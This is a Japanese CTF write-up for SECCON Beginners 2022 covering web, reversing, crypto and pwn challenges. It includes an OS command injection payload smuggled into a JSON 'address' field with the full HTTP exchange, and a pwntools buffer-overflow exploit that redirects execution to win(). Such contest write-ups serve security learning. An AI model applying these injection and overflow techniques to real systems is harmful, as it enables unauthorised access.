CTF writeup - Seccon beginers 2022

# 大会情報
- [SECCON BEGINERS 2022](https://score.beginners.azure.noc.seccon.jp/)
- 2022/6/4 (土) 14:00 JST - 2022/6/5 (日) 14:00 JST
- 形式: Online / Jeopardy

解いた問題について、その過程を解説する。

問題毎の見出しは下記ルールで記載する。
> [Challenge category] challenge name (score point)

# [web]Web-Util (54pt)
>ctf4b networks社のネットワーク製品にはとっても便利な機能があるみたいです! でも便利すぎて不安かも...?
(注意) SECCON Beginners運営が管理しているサーバー以外への攻撃を防ぐために外部への接続が制限されています。
[https://util.quals.beginners.seccon.jp](https://util.quals.beginners.seccon.jp/)
[util.tar.gz](https://sbc2022-secconbeginnersctf-2022-prod.s3.isk01.sakurastorage.jp/production/Util/util.tar.gz) 3828bf8512e6d00316da5e290ac882e470dc9d7d

問題文で提供された添付ファイルの中にDockerfilegあり、
Webサーバ上にテキストファイルとしてフラグがあることがわかる。

```
//Dockerfile
RUN echo "ctf4b{xxxxxxxxxxxxxxxxxx}" > /flag_$(cat /dev/urandom | tr -dc "a-zA-Z0-9" | fold -w 16 | head -n 1).txt
```

サイトのソースを見ると、XSSを仕込めそうな箇所が見つかる。

```
          if (xhr.status != 200) {
            document.getElementById("notify").innerHTML =
              "<p>Request Error : " + xhr.response + "</p>";
          } else {

```

BurpSuiteを使ってリクエストBodyを修正して送りつけると、
OSコマンドインジェクションができ、ファイル一覧が取得できる。
```{"address":"127.0.0.1;ls ../"}```

```flag_A74FIBkN9sELAjOc.txt``` という怪しいファイルをcatで出力するリクエストを別途送ることで
問題をクリアできる。

```
POST /util/ping HTTP/1.1
Host: util.quals.beginners.seccon.jp
Cookie: _ga=GA1.2.558864871.1654344890; _gid=GA1.2.875114735.1654344890
Content-Length: 30
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="102", "Google Chrome";v="102"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36
Sec-Ch-Ua-Platform: "macOS"
Content-Type: application/json
Accept: */*
Origin: https://util.quals.beginners.seccon.jp
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://util.quals.beginners.seccon.jp/
Accept-Encoding: gzip, deflate
Accept-Language: ja,en-US;q=0.9,en;q=0.8
Connection: close

{"address":"127.0.0.1;ls ../"}

/////////////////////
HTTP/1.1 200 OK
Server: nginx/1.21.6
Date: Sat, 04 Jun 2022 12:43:45 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 375
Connection: close

{"result":"PING 127.0.0.1 (127.0.0.1): 56 data bytes\n64 bytes from 127.0.0.1: seq=0 ttl=42 time=0.170 ms\n\n--- 127.0.0.1 ping statistics ---\n1 packets transmitted, 1 packets received, 0% packet loss\nround-trip min/avg/max = 0.170/0.170/0.170 ms\napp\nbin\ndev\netc\nflag_A74FIBkN9sELAjOc.txt\nhome\nlib\nmedia\nmnt\nopt\nproc\nroot\nrun\nsbin\nsrv\nsys\ntmp\nusr\nvar\n"}
```


# [reversing] Quiz(50pt)
>クイズに答えよう!
[quiz.tar.gz](https://sbc2022-secconbeginnersctf-2022-prod.s3.isk01.sakurastorage.jp/production/Quiz/quiz.tar.gz) a7f225b59176baa3d888c6fc7452f8df9a58e204

クイズを出題するELFバイナリが提供される。

stringsコマンドでフラグに関する情報をゲットできる。

ELFバイナリを実行して、各クイズに答えるとフラグがもらえる。

# [crepto]CoughingFox(55pt)
>きつねさんが食べ物を探しているみたいです。
[coughingfox.tar.gz](https://sbc2022-secconbeginnersctf-2022-prod.s3.isk01.sakurastorage.jp/production/CoughingFox/coughingfox.tar.gz) c2cdda5cb20d25e40be57a72a949591b7172d143

復号プログラムを作る問題。
暗号化のロジックは添付ファイルで開示されている。

```
flag = b"ctf4b{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}"

for i in range(len(flag)):
    f = flag[i]
    c = (f + i)**2 + i
    cipher.append(c)
```

上記ロジックより、何文字目かという情報を使って暗号化していることがわかる。

暗号化された各文字ごとに、先頭から順に数字or小文字or大文字or記号を暗号化して一致するか総当りで試すと復号できる。
下記で復号できた。

```
import string

// encode Logic -> c = (f + i)**2 + i
cipher = [12147, 20481, 7073, 10408, 26615, 19066, 19363, 10852, 11705, 17445, 3028, 10640, 10623, 13243, 5789, 17436, 12348, 10818, 15891, 2818, 13690, 11671, 6410, 16649, 15905, 22240, 7096, 9801, 6090, 9624, 16660, 18531, 22533, 24381, 14909, 17705, 16389, 21346, 19626, 29977, 23452, 14895, 17452, 17733, 22235, 24687, 15649, 21941, 11472]

flag = []
f = "".join(string.digits + string.ascii_letters + string.punctuation)
for i in range(len(cipher)):
    for j in range(len(f)):
        for k in range(len(cipher)):
            if cipher[i] == ((ord(f[j]) + k)**2 + k):
                flag.append((k, f[j]))
                break

flag.sort(key=lambda pair: pair[0])
for key, value in flag:
    print(value, end="")
                            
```

# [pwnable]BeginnersBof(84pt)

>Pwnってこういうのだけじゃないらしいですが，多分これだけでもできればすごいと思います．
		nc beginnersbof.quals.beginners.seccon.jp 9000
[BeginnersBof.tar.gz](https://sbc2022-secconbeginnersctf-2022-prod.s3.isk01.sakurastorage.jp/production/BeginnersBof/BeginnersBof.tar.gz) 68c9c9cbeab6c99c936e9a6c5d381ee28efaaeaf

添付のsrc.cを見ると、標準入力から文字列を受け取って、BUFSIZEを超えた分バッファオーバーフローを使って、win()を呼び出すことでフラグを取得できることがすぐに分かる。

win()の先頭アドレスをgdbで確認すると
0x00000000004011e6であることがわかる。
```
gdb-peda$ pdisass win
Dump of assembler code for function win:
   0x00000000004011e6 <+0>:     push   rbp
   0x00000000004011e7 <+1>:     mov    rbp,rsp
   0x00000000004011ea <+4>:     sub    rsp,0x110
   0x00000000004011f1 <+11>:    mov    esi,0x0
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/15085/13e243a8-6b3c-2362-debc-8c92e60c8bc8.png)
引用元：　https://eli.thegreenplace.net/2011/09/06/stack-frame-layout-on-x86-64
（[IPAのサイト](https://www.ipa.go.jp/security/awareness/vendor/programmingv2/contents/c006.html?utm_source=pocket_mylist)も参考になる。）

標準入力から受け取った文字列は、low addressからhigh addressの方向(上図の赤エリア)に格納されていくため、
RBPレジスタまで適当な文字列を格納させて、その次に0x00000000004011e6を書き込めれば、win()を呼び出すことができる。

RBPレジスタまで何文字の文字列を入力すれば良いか調べる。
バッファーが溢れる直前にブレイクポイントを貼って、長い文字列を入力しRBPレジスタがどの文字列で埋められているか確認する。
```
gdb-peda$ b *main+143
gdb-peda$ r
20000
abcdefghijklmnopqrstuvwxyz0123456789abcdefghijklmnopqrstuvwxyz0123456789
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/15085/3df94438-02c3-6a7c-ab1b-9f172296033b.png)


RBPレジスタに6789abcdが格納されているため、
下記文字列でwin()を呼び出せることになる。

「abcdefghijklmnopqrstuvwxyz0123456789abcd + win()リターンアドレス」

win()のリターンアドレスをリトルエンディアンで並び替えると以下となる。

win()リターンアドレス = 0x00000000004011e6=\xe6\x11\x40\x00\x00\x00\x00\x00

つまり、下記を打ち込めばOK
abcdefghijklmnopqrstuvwxyz0123456789abcd\xe6\x11\x40\x00\x00\x00\x00\x00

以下、pythonスクリプト
```
from pwn import *

def exploit(p, binf):
    flag_symbols = binf.symbols['win'] 
    #flag_symbols =  0x00000000004011e6
    log.info("flag symbols: {}".format(hex(flag_symbols)))

    p.sendlineafter("How long is your name?", "2000")
    offset = 40
    payload = b"A" * offset
    payload += pack(flag_symbols)

    log.info("payload: {}".format(payload))
    p.sendlineafter("What's your name?", payload)

def main():
    context(arch="amd64", os="linux")

    if args["REMOTE"]:
        p = remote("beginnersbof.quals.beginners.seccon.jp", 9000)
    else:
        p = process("./chall")
    
    binf = ELF("./chall")
    exploit(p, binf)
    p.interactive()

if __name__ == "__main__":
    main()
}
```

- (参考)似ている問題
jerseyctf-2022 [bin]going-over
https://github.com/njitacm/jerseyctf-2022-challenges/tree/main/bin/going-over